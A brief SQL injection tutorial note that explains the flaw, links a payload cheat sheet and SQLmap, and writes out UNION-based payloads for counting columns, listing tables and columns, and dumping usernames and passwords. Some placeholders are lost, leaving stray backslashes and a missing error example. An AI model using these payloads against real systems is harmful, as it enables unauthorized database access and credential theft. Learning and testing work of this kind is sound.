# SQLI Occurs when user input is inputted into the SQL query string without properly sanitizing or filtering the input. [Here is a nice SQLi cheat sheet ](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection) If you find a vulnerable endpoint it’s probably best to use a tool like [SQLmap](https://github.com/sqlmapproject/sqlmap) #### Popular Databases * MySQL, MSSQL, PostgreSQL, Oracle. ### SQLi testing If you ever see that error you know there is SQL injection:

Inject a query that sorts the results by a column we specified like column 1, or column 2 until we get an error saying (the column specified does not exist): * using ' order by\-- * for example, if we failed at order by 3, this means the table has 2 columns #### List of tables in the database Use union select to list tables in the database: payload: ' union select NULL, table\_name from information\_schema.tables--

#### List of columns in the users' table payload: ' union select NULL, column\_name from information\_schema.columns where table\_name = '\'--

#### Dumping usernames and passwords of users use the “concat()” function To return the password and username in the same column. payload: ' union select NULL, concat(\,':',\) from \